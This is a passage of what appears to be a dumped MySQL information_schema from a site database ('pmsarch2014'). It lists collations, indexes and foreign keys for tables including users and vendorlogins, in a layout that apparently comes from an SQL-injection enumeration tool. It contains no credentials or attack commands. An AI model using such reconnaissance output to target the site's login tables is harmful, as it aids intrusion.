latin1_bin | latin1 | | 48 | 1 | | Yes | latin1_general_ci | latin1 | | 49 | 1 | | Yes | latin1_general_cs | latin1 | | 94 | 1 | | Yes | latin1_spanish_ci | latin1 | | 2 | 4 | | Yes | latin2_czech_cs | latin2 | | 9 | 1 | Yes | Yes | latin2_general_ci | latin2 | | 21 | 1 | | Yes | latin2_hungarian_ci | latin2 | | 27 | 1 | | Yes | latin2_croatian_ci | latin2 | | 77 | 1 | | Yes | latin2_bin | latin2 | | 10 | 1 | Yes | Yes | swe7_swedish_ci | swe7 | | 82 | 1 | | Yes | swe7_bin | swe7 | | 11 | 1 | Yes | Yes | ascii_general_ci | ascii | | 65 | 1 | | Yes | ascii_bin | ascii | | 12 | 1 | Yes | Yes | ujis_japanese_ci | ujis | | 91 | 1 | | Yes | ujis_bin | ujis | | 13 | 1 | Yes | Yes | sjis_japanese_ci | sjis | | 88 | 1 | | Yes | sjis_bin | sjis | | 16 | 1 | Yes | Yes | hebrew_general_ci | hebrew | | 71 | 1 | | Yes | hebrew_bin | hebrew | | 18 | 4 | Yes | Yes | tis620_thai_ci | tis620 | | 89 | 1 | | Yes | tis620_bin | tis620 | | 19 | 1 | Yes | Yes | euckr_korean_ci | euckr | | 85 | 1 | | Yes | euckr_bin | euckr | | 22 | 1 | Yes | Yes | koi8u_general_ci | koi8u | | 75 | 1 | | Yes | koi8u_bin | koi8u | | 24 | 1 | Yes | Yes | gb2312_chinese_ci | gb2312 | | 86 | 1 | | Yes | gb2312_bin | gb2312 | | 25 | 1 | Yes | Yes | greek_general_ci | greek | | 70 | 1 | | Yes | greek_bin | greek | | 26 | 1 | Yes | Yes | cp1250_general_ci | cp1250 | | 34 | 2 | | Yes | cp1250_czech_cs | cp1250 | | 44 | 1 | | Yes | cp1250_croatian_ci | cp1250 | | 66 | 1 | | Yes | cp1250_bin | cp1250 | | 99 | 1 | | Yes | cp1250_polish_ci | cp1250 | | 28 | 1 | Yes | Yes | gbk_chinese_ci | gbk | | 87 | 1 | | Yes | gbk_bin | gbk | | 30 | 1 | Yes | Yes | latin5_turkish_ci | latin5 | | 78 | 1 | | Yes | latin5_bin | latin5 | | 32 | 1 | Yes | Yes | armscii8_general_ci | armscii8 | | 64 | 1 | | Yes | armscii8_bin | armscii8 | | 33 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 83 | 1 | | Yes | utf8_bin | utf8 | | 192 | 8 | | Yes | utf8_unicode_ci | utf8 | | 193 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 194 | 8 | | Yes | utf8_latvian_ci | utf8 | | 195 | 8 | | Yes | utf8_romanian_ci | utf8 | | 196 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 197 | 8 | | Yes | utf8_polish_ci | utf8 | | 198 | 8 | | Yes | utf8_estonian_ci | utf8 | | 199 | 8 | | Yes | utf8_spanish_ci | utf8 | | 200 | 8 | | Yes | utf8_swedish_ci | utf8 | | 201 | 8 | | Yes | utf8_turkish_ci | utf8 | | 202 | 8 | | Yes | utf8_czech_ci | utf8 | | 203 | 8 | | Yes | utf8_danish_ci | utf8 | | 204 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 205 | 8 | | Yes | utf8_slovak_ci | utf8 | | 206 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 207 | 8 | | Yes | utf8_roman_ci | utf8 | | 208 | 8 | | Yes | utf8_persian_ci | utf8 | | 209 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 210 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 211 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 212 | 8 | | Yes | utf8_german2_ci | utf8 | | 213 | 8 | | Yes | utf8_croatian_ci | utf8 | | 214 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 215 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 223 | 1 | | Yes | utf8_general_mysql500_ci | utf8 | | 35 | 1 | Yes | Yes | ucs2_general_ci | ucs2 | | 90 | 1 | | Yes | ucs2_bin | ucs2 | | 128 | 8 | | Yes | ucs2_unicode_ci | ucs2 | | 129 | 8 | | Yes | ucs2_icelandic_ci | ucs2 | | 130 | 8 | | Yes | ucs2_latvian_ci | ucs2 | | 131 | 8 | | Yes | ucs2_romanian_ci | ucs2 | | 132 | 8 | | Yes | ucs2_slovenian_ci | ucs2 | | 133 | 8 | | Yes | ucs2_polish_ci | ucs2 | | 134 | 8 | | Yes | ucs2_estonian_ci | ucs2 | | 135 | 8 | | Yes | ucs2_spanish_ci | ucs2 | | 136 | 8 | | Yes | ucs2_swedish_ci | ucs2 | | 137 | 8 | | Yes | ucs2_turkish_ci | ucs2 | | 138 | 8 | | Yes | ucs2_czech_ci | ucs2 | | 139 | 8 | | Yes | ucs2_danish_ci | ucs2 | | 140 | 8 | | Yes | ucs2_lithuanian_ci | ucs2 | | 141 | 8 | | Yes | ucs2_slovak_ci | ucs2 | | 142 | 8 | | Yes | ucs2_spanish2_ci | ucs2 | | 143 | 8 | | Yes | ucs2_roman_ci | ucs2 | | 144 | 8 | | Yes | ucs2_persian_ci | ucs2 | | 145 | 8 | | Yes | ucs2_esperanto_ci | ucs2 | | 146 | 8 | | Yes | ucs2_hungarian_ci | ucs2 | | 147 | 8 | | Yes | ucs2_sinhala_ci | ucs2 | | 148 | 8 | | Yes | ucs2_german2_ci | ucs2 | | 149 | 8 | | Yes | ucs2_croatian_ci | ucs2 | | 150 | 8 | | Yes | ucs2_unicode_520_ci | ucs2 | | 151 | 8 | | Yes | ucs2_vietnamese_ci | ucs2 | | 159 | 1 | | Yes | ucs2_general_mysql500_ci | ucs2 | | 36 | 1 | Yes | Yes | cp866_general_ci | cp866 | | 68 | 1 | | Yes | cp866_bin | cp866 | | 37 | 1 | Yes | Yes | keybcs2_general_ci | keybcs2 | | 73 | 1 | | Yes | keybcs2_bin | keybcs2 | | 38 | 1 | Yes | Yes | macce_general_ci | macce | | 43 | 1 | | Yes | macce_bin | macce | | 39 | 1 | Yes | Yes | macroman_general_ci | macroman | | 53 | 1 | | Yes | macroman_bin | macroman | | 40 | 1 | Yes | Yes | cp852_general_ci | cp852 | | 81 | 1 | | Yes | cp852_bin | cp852 | | 20 | 1 | | Yes | latin7_estonian_cs | latin7 | | 41 | 1 | Yes | Yes | latin7_general_ci | latin7 | | 42 | 1 | | Yes | latin7_general_cs | latin7 | | 79 | 1 | | Yes | latin7_bin | latin7 | | 45 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 46 | 1 | | Yes | utf8_bin | utf8 | | 224 | 8 | | Yes | utf8_general_ci | utf8 | | 225 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 226 | 8 | | Yes | utf8_latvian_ci | utf8 | | 227 | 8 | | Yes | utf8_romanian_ci | utf8 | | 228 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 229 | 8 | | Yes | utf8_polish_ci | utf8 | | 230 | 8 | | Yes | utf8_estonian_ci | utf8 | | 231 | 8 | | Yes | utf8_spanish_ci | utf8 | | 232 | 8 | | Yes | utf8_swedish_ci | utf8 | | 233 | 8 | | Yes | utf8_turkish_ci | utf8 | | 234 | 8 | | Yes | utf8_czech_ci | utf8 | | 235 | 8 | | Yes | utf8_danish_ci | utf8 | | 236 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 237 | 8 | | Yes | utf8_slovak_ci | utf8 | | 238 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 239 | 8 | | Yes | utf8_roman_ci | utf8 | | 240 | 8 | | Yes | utf8_persian_ci | utf8 | | 241 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 242 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 243 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 244 | 8 | | Yes | utf8_german2_ci | utf8 | | 245 | 8 | | Yes | utf8_croatian_ci | utf8 | | 246 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 247 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 14 | 1 | | Yes | cp1251_bulgarian_ci | cp1251 | | 23 | 1 | | Yes | cp1251_ukrainian_ci | cp1251 | | 50 | 1 | | Yes | cp1251_bin | cp1251 | | 51 | 1 | Yes | Yes | cp1251_general_ci | cp1251 | | 52 | 1 | | Yes | cp1251_general_cs | cp1251 | | 54 | 1 | Yes | Yes | utf16_general_ci | utf16 | | 55 | 1 | | Yes | utf16_bin | utf16 | | 101 | 8 | | Yes | utf16_unicode_ci | utf16 | | 102 | 8 | | Yes | utf16_icelandic_ci | utf16 | | 103 | 8 | | Yes | utf16_latvian_ci | utf16 | | 104 | 8 | | Yes | utf16_romanian_ci | utf16 | | 105 | 8 | | Yes | utf16_slovenian_ci | utf16 | | 106 | 8 | | Yes | utf16_polish_ci | utf16 | | 107 | 8 | | Yes | utf16_estonian_ci | utf16 | | 108 | 8 | | Yes | utf16_spanish_ci | utf16 | | 109 | 8 | | Yes | utf16_swedish_ci | utf16 | | 110 | 8 | | Yes | utf16_turkish_ci | utf16 | | 111 | 8 | | Yes | utf16_czech_ci | utf16 | | 112 | 8 | | Yes | utf16_danish_ci | utf16 | | 113 | 8 | | Yes | utf16_lithuanian_ci | utf16 | | 114 | 8 | | Yes | utf16_slovak_ci | utf16 | | 115 | 8 | | Yes | utf16_spanish2_ci | utf16 | | 116 | 8 | | Yes | utf16_roman_ci | utf16 | | 117 | 8 | | Yes | utf16_persian_ci | utf16 | | 118 | 8 | | Yes | utf16_esperanto_ci | utf16 | | 119 | 8 | | Yes | utf16_hungarian_ci | utf16 | | 120 | 8 | | Yes | utf16_sinhala_ci | utf16 | | 121 | 8 | | Yes | utf16_german2_ci | utf16 | | 122 | 8 | | Yes | utf16_croatian_ci | utf16 | | 123 | 8 | | Yes | utf16_unicode_520_ci | utf16 | | 124 | 8 | | Yes | utf16_vietnamese_ci | utf16 | | 56 | 1 | Yes | Yes | utf16le_general_ci | utf16le | | 62 | 1 | | Yes | utf16le_bin | utf16le | | 57 | 1 | Yes | Yes | cp1256_general_ci | cp1256 | | 67 | 1 | | Yes | cp1256_bin | cp1256 | | 29 | 1 | | Yes | cp1257_lithuanian_ci | cp1257 | | 58 | 1 | | Yes | cp1257_bin | cp1257 | | 59 | 1 | Yes | Yes | cp1257_general_ci | cp1257 | | 60 | 1 | Yes | Yes | utf32_general_ci | utf32 | | 61 | 1 | | Yes | utf32_bin | utf32 | | 160 | 8 | | Yes | utf32_unicode_ci | utf32 | | 161 | 8 | | Yes | utf32_icelandic_ci | utf32 | | 162 | 8 | | Yes | utf32_latvian_ci | utf32 | | 163 | 8 | | Yes | utf32_romanian_ci | utf32 | | 164 | 8 | | Yes | utf32_slovenian_ci | utf32 | | 165 | 8 | | Yes | utf32_polish_ci | utf32 | | 166 | 8 | | Yes | utf32_estonian_ci | utf32 | | 167 | 8 | | Yes | utf32_spanish_ci | utf32 | | 168 | 8 | | Yes | utf32_swedish_ci | utf32 | | 169 | 8 | | Yes | utf32_turkish_ci | utf32 | | 170 | 8 | | Yes | utf32_czech_ci | utf32 | | 171 | 8 | | Yes | utf32_danish_ci | utf32 | | 172 | 8 | | Yes | utf32_lithuanian_ci | utf32 | | 173 | 8 | | Yes | utf32_slovak_ci | utf32 | | 174 | 8 | | Yes | utf32_spanish2_ci | utf32 | | 175 | 8 | | Yes | utf32_roman_ci | utf32 | | 176 | 8 | | Yes | utf32_persian_ci | utf32 | | 177 | 8 | | Yes | utf32_esperanto_ci | utf32 | | 178 | 8 | | Yes | utf32_hungarian_ci | utf32 | | 179 | 8 | | Yes | utf32_sinhala_ci | utf32 | | 180 | 8 | | Yes | utf32_german2_ci | utf32 | | 181 | 8 | | Yes | utf32_croatian_ci | utf32 | | 182 | 8 | | Yes | utf32_unicode_520_ci | utf32 | | 183 | 8 | | Yes | utf32_vietnamese_ci | utf32 | | 63 | 1 | Yes | Yes | binary | binary | | 92 | 1 | Yes | Yes | geostd8_general_ci | geostd8 | | 93 | 1 | | Yes | geostd8_bin | geostd8 | | 95 | 1 | Yes | Yes | cp932_japanese_ci | cp932 | | 96 | 1 | | Yes | cp932_bin | cp932 | | 97 | 1 | Yes | Yes | eucjpms_japanese_ci | eucjpms | | 98 | 1 | | Yes | eucjpms_bin | eucjpms | | 248 | 2 | Yes | Yes | gb18030_chinese_ci | gb18030 | | 249 | 1 | | Yes | gb18030_bin | gb18030 | | 250 | 8 | | Yes | gb18030_unicode_520_ci | gb18030 | +-----+---------+------------+-------------+--------------------------+--------------------+ Database: information_schema Table: STATISTICS [51 entries] +--------+---------+-------------------+----------+------------+------------+------------+------------+-------------+-------------+--------------+--------------+--------------+---------------+---------------+---------------+ | PACKED | COMMENT | SUB_PART | NULLABLE | INDEX_NAME | INDEX_TYPE | NON_UNIQUE | TABLE_NAME | COLLATION | COLUMN_NAME | INDEX_SCHEMA | TABLE_SCHEMA | SEQ_IN_INDEX | INDEX_COMMENT | TABLE_CATALOG | CARDINALITY | +--------+---------+-------------------+----------+------------+------------+------------+------------+-------------+-------------+--------------+--------------+--------------+---------------+---------------+---------------+ | 1 | | comments | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | comments | | id | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | comments | | postId | BTREE | 1 | 0 | | postId | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design2_images | | PRIMARY | BTREE | 0 | 30 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design3_images | | PRIMARY | BTREE | 0 | 17 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design4_images | | PRIMARY | BTREE | 0 | 16 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design5_images | | PRIMARY | BTREE | 0 | 11 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design6_images | | PRIMARY | BTREE | 0 | 5 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design7_images | | PRIMARY | BTREE | 0 | 17 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design8_images | | PRIMARY | BTREE | 0 | 10 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design9_images | | PRIMARY | BTREE | 0 | 13 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | design_images | | PRIMARY | BTREE | 0 | 15 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs | | PRIMARY | BTREE | 0 | 3 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs2 | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs3 | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs4 | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs5 | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs6 | | PRIMARY | BTREE | 0 | 2 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs7 | | PRIMARY | BTREE | 0 | 7 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs8 | | PRIMARY | BTREE | 0 | 3 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | designs9 | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | feed | | PRIMARY | BTREE | 0 | 6 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | feedsettings | | PRIMARY | BTREE | 0 | 360 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | posts | | PRIMARY | BTREE | 0 | 49 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | posts | | id | BTREE | 0 | 49 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | posts_to_feed | | PRIMARY | BTREE | 0 | 49 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | posts_to_feed | | pid | BTREE | 1 | 49 | | pid | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | posts_to_feed | | fid | BTREE | 1 | 5 | | fid | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | ratings | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | sectiongroups | | PRIMARY | BTREE | 0 | 3 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | sections | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | sections | | group | BTREE | 1 | 0 | | group | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | sectionsettings | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | settings | | PRIMARY | BTREE | 0 | 14 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | tags | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | tags | | id | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 2 | | tags | | id | BTREE | 0 | 0 | | tag | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | tags_to_posts | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | tags_to_posts | | id | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | users | | PRIMARY | BTREE | 0 | 2 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | users | | id | BTREE | 0 | 2 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 2 | | users | | id | BTREE | 0 | 2 | | username | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | users_to_comments | | PRIMARY | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | users_to_comments | | id | BTREE | 0 | 0 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendorfiles | | PRIMARY | BTREE | 0 | 4 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendorlogins | | id_2 | BTREE | 0 | 3 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendorlogins | | id | BTREE | 1 | 3 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendors_to_files | | PRIMARY | BTREE | 0 | 5 | | id | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendors_to_files | | fid | BTREE | 1 | 3 | | fid | pmsarch2014 | A | def | | pmsarch2014 | | | 2 | | vendors_to_files | | fid | BTREE | 1 | 5 | | vid | pmsarch2014 | A | def | | pmsarch2014 | | | 1 | | vendors_to_files | | vid | BTREE | 1 | 3 | | vid | pmsarch2014 | A | def | | pmsarch2014 | | +--------+---------+-------------------+----------+------------+------------+------------+------------+-------------+-------------+--------------+--------------+--------------+---------------+---------------+---------------+ Database: information_schema Table: REFERENTIAL_CONSTRAINTS [4 entries] +------------------+-------------+-------------+--------------+-------------------------+-------------------+--------------------+-----------------------+------------------------+--------------------------+---------------------------+ | TABLE_NAME | UPDATE_RULE | DELETE_RULE | MATCH_OPTION | CONSTRAINT_NAME | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | REFERENCED_TABLE_NAME | UNIQUE_CONSTRAINT_NAME | UNIQUE_CONSTRAINT_SCHEMA | UNIQUE_CONSTRAINT_CATALOG | +------------------+-------------+-------------+--------------+-------------------------+-------------------+--------------------+-----------------------+------------------------+--------------------------+---------------------------+ | comments | CASCADE | CASCADE | NONE | comments_ibfk_1 | pmsarch2014 | def | posts | PRIMARY | pmsarch2014 | def | | posts_to_feed | CASCADE | CASCADE | NONE | posts_to_feed_ibfk_1 | pmsarch2014 | def | posts | PRIMARY | pmsarch2014 | def | | posts_to_feed | CASCADE | CASCADE | NONE | posts_to_feed_ibfk_2 | pmsarch2014 | def | feed | PRIMARY | pmsarch2014 | def | | vendors_to_files | CASCADE | CASCADE | NONE | vendors_to_files_ibfk_1 | pmsarch2014 | def | vendorlogins | id_2 | pmsarch2014 | def | +------------------+-------------+-------------+--------------+-------------------------+-------------------+--------------------+-----------------------+------------------------+--------------------------+---------------------------+ Database: information_schema Table: PROFILING [0 entries] +----------+-----+-------+-------+----------+----------+------------+-------------+-------------+--------------+---------------+---------------+-----------------+-------------------+-------------------+-------------------+-------------------+---------------------+ | QUERY_ID | SEQ | SWAPS | STATE | CPU_USER | DURATION | CPU_SYSTEM | SOURCE_LINE | SOURCE_FILE | BLOCK_OPS_IN | MESSAGES_SENT | BLOCK_OPS_OUT | SOURCE_FUNCTION | CONTEXT_VOLUNTARY | MESSAGES_RECEIVED | PAGE_FAULTS_MINOR | PAGE_FAULTS_MAJOR | CONTEXT_INVOLUNTARY | +----------+-----+-------+-------+----------+----------+------------+-------------+-------------+--------------+---------------+---------------+-----------------+-------------------+-------------------+-------------------+-------------------+---------------------+ +----------+-----+-------+-------+----------+----------+------------+-------------+-------------+--------------+---------------+---------------+-----------------+-------------------+-------------------+-------------------+-------------------+---------------------+ Database: information_schema Table: TRIGGERS [0 entries] +---------+---------+----------+--------------+--------------+---------------+----------------+-----------------+------------------+------------------+--------------------+--------------------+--------------------+--------------------+---------------------+----------------------+----------------------+----------------------+--------------------------+--------------------------+----------------------------+----------------------------+ | DEFINER | CREATED | SQL_MODE | ACTION_ORDER | TRIGGER_NAME | ACTION_TIMING | TRIGGER_SCHEMA | TRIGGER_CATALOG | ACTION_STATEMENT | ACTION_CONDITION | EVENT_MANIPULATION | ACTION_ORIENTATION | EVENT_OBJECT_TABLE | DATABASE_COLLATION | EVENT_OBJECT_SCHEMA | EVENT_OBJECT_CATALOG | CHARACTER_SET_CLIENT | COLLATION_CONNECTION | ACTION_REFERENCE_OLD_ROW | ACTION_REFERENCE_NEW_ROW | ACTION_REFERENCE_NEW_TABLE | ACTION_REFERENCE_OLD_TABLE | +---------+---------+----------+--------------+--------------+---------------+----------------+-----------------+------------------+------------------+--------------------+--------------------+--------------------+--------------------+---------------------+----------------------+----------------------+----------------------+--------------------------+--------------------------+----------------------------+----------------------------+ +---------+---------+----------+--------------+--------------+---------------+----------------+-----------------+------------------+------------------+--------------------+--------------------+--------------------+--------------------+---------------------+----------------------+----------------------+----------------------+--------------------------+--------------------------+----------------------------+----------------------------+ Table: COLLATION_CHARACTER_SET_APPLICABILITY [222 entries] +--------------------------+--------------------+ | COLLATION_NAME | CHARACTER_SET_NAME | +--------------------------+--------------------+ | big5_chinese_ci | big5 | | big5_bin | big5 | | dec8_swedish_ci | dec8 | | dec8_bin | dec8 | | cp850_general_ci | cp850 | | cp850_bin | cp850 | | hp8_english_ci | hp8 | | hp8_bin | hp8 | | koi8r_general_ci | koi8r | | koi8r_bin | koi8r | | latin1_german1_ci | latin1 | | latin1_swedish_ci | latin1 | | latin1_danish_ci | latin1 | | latin1_german2_ci | latin1 | | latin1_bin | latin1 | | latin1_general_ci | latin1 | | latin1_general_cs | latin1 | | latin1_spanish_ci | latin1 | | latin2_czech_cs | latin2 | | latin2_general_ci | latin2 | | latin2_hungarian_ci | latin2 | | latin2_croatian_ci | latin2 | | latin2_bin | latin2 | | swe7_swedish_ci | swe7 | | swe7_bin | swe7 | | ascii_general_ci | ascii | | ascii_bin | ascii | | ujis_japanese_ci | ujis | | ujis_bin | ujis | | sjis_japanese_ci | sjis | | sjis_bin | sjis | | hebrew_general_ci | hebrew | | hebrew_bin | hebrew | | tis620_thai_ci | tis620 | | tis620_bin | tis620 | | euckr_korean_ci | euckr | | euckr_bin | euckr | | koi8u_general_ci | koi8u | | koi8u_bin | koi8u | | gb2312_chinese_ci | gb2312 | | gb2312_bin | gb2312 | | greek_general_ci | greek | | greek_bin | greek | | cp1250_general_ci | cp1250 | | cp1250_czech_cs | cp1250 | | cp1250_croatian_ci | cp1250 | | cp1250_bin | cp1250 | | cp1250_polish_ci | cp1250 | | gbk_chinese_ci | gbk | | gbk_bin | gbk | | latin5_turkish_ci | latin5 | | latin5_bin | latin5 | | armscii8_general_ci | armscii8 | | armscii8_bin | armscii8 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_unicode_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | utf8_general_mysql500_ci | utf8 | | ucs2_general_ci | ucs2 | | ucs2_bin | ucs2 | | ucs2_unicode_ci | ucs2 | | ucs2_icelandic_ci | ucs2 | | ucs2_latvian_ci | ucs2 | | ucs2_romanian_ci | ucs2 | | ucs2_slovenian_ci | ucs2 | | ucs2_polish_ci | ucs2 | | ucs2_estonian_ci | ucs2 | | ucs2_spanish_ci | ucs2 | | ucs2_swedish_ci | ucs2 | | ucs2_turkish_ci | ucs2 | | ucs2_czech_ci | ucs2 | | ucs2_danish_ci | ucs2 | | ucs2_lithuanian_ci | ucs2 | | ucs2_slovak_ci | ucs2 | | ucs2_spanish2_ci | ucs2 | | ucs2_roman_ci | ucs2 | | ucs2_persian_ci | ucs2 | | ucs2_esperanto_ci | ucs2 | | ucs2_hungarian_ci | ucs2 | | ucs2_sinhala_ci | ucs2 | | ucs2_german2_ci | ucs2 | | ucs2_croatian_ci | ucs2 | | ucs2_unicode_520_ci | ucs2 | | ucs2_vietnamese_ci | ucs2 | | ucs2_general_mysql500_ci | ucs2 | | cp866_general_ci | cp866 | | cp866_bin | cp866 | | keybcs2_general_ci | keybcs2 | | keybcs2_bin | keybcs2 | | macce_general_ci | macce | | macce_bin | macce | | macroman_general_ci | macroman | | macroman_bin | macroman | | cp852_general_ci | cp852 | | cp852_bin | cp852 | | latin7_estonian_cs | latin7 | | latin7_general_ci | latin7 | | latin7_general_cs | latin7 | | latin7_bin | latin7 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_general_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | cp1251_bulgarian_ci | cp1251 | | cp1251_ukrainian_ci | cp1251 | | cp1251_bin | cp1251 | | cp1251_general_ci | cp1251 | | cp1251_general_cs | cp1251 | | utf16_general_ci | utf16 | | utf16_bin | utf16 | | utf16_unicode_ci | utf16 | | utf16_icelandic_ci | utf16 | | utf16_latvian_ci | utf16 | | utf16_romanian_ci | utf16 | | utf16_slovenian_ci | utf16 | | utf16_polish_ci | utf16 | | utf16_estonian_ci | utf16 | | utf16_spanish_ci | utf16 | | utf16_swedish_ci | utf16 | | utf16_turkish_ci | utf16 | | utf16_czech_ci | utf16 | | utf16_danish_ci | utf16 | | utf16_lithuanian_ci | utf16 | | utf16_slovak_ci | utf16 | | utf16_spanish2_ci | utf16 | | utf16_roman_ci | utf16 | | utf16_persian_ci | utf16 | | utf16_esperanto_ci | utf16 | | utf16_hungarian_ci | utf16 | | utf16_sinhala_ci | utf16 | | utf16_german2_ci | utf16 | | utf16_croatian_ci | utf16 | | utf16_unicode_520_ci | utf16 | | utf16_vietnamese_ci | utf16 | | utf16le_general_ci | utf16le | | utf16le_bin | utf16le | | cp1256_general_ci | cp1256 | | cp1256_bin | cp1256 | | cp1257_lithuanian_ci | cp1257 | | cp1257_bin | cp1257 | | cp1257_general_ci | cp1257 | | utf32_general_ci | utf32 | | utf32_bin | utf32 | | utf32_unicode_ci | utf32 | | utf32_icelandic_ci | utf32 | | utf32_latvian_ci | utf32 | | utf32_romanian_ci | utf32 | | utf32_slovenian_ci | utf32 | | utf32_polish_ci | utf32 | | utf32_estonian_ci | utf32 | | utf32_spanish_ci | utf32 | | utf32_swedish_ci | utf32 | | utf32_turkish_ci | utf32 | | utf32_czech_ci | utf32 | | utf32_danish_ci | utf32 | | utf32_lithuanian_ci | utf32 | | utf32_slovak_ci | utf32 | | utf32_spanish2_ci | utf32 | | utf32_roman_ci | utf32 | | utf32_persian_ci | utf32 | | utf32_esperanto_ci | utf32 | | utf32_hungarian_ci | utf32 | | utf32_sinhala_ci | utf32 | | utf32_german2_ci | utf32 | | utf32_croatian_ci | utf32 | | utf32_unicode_520_ci | utf32 | | utf32_vietnamese_ci | utf32 | | binary | binary | | geostd8_general_ci | geostd8 | | geostd8_bin | geostd8 | | cp932_japanese_ci | cp932 | | cp932_bin | cp932 | | eucjpms_japanese_ci | eucjpms | | 